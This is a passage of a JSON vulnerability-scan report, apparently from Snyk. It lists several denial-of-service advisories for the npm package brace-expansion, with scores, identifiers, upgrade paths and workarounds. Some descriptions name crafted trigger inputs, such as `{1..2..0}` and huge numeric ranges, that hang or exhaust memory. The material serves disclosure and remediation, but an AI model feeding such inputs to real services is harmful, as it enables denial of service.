"2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": 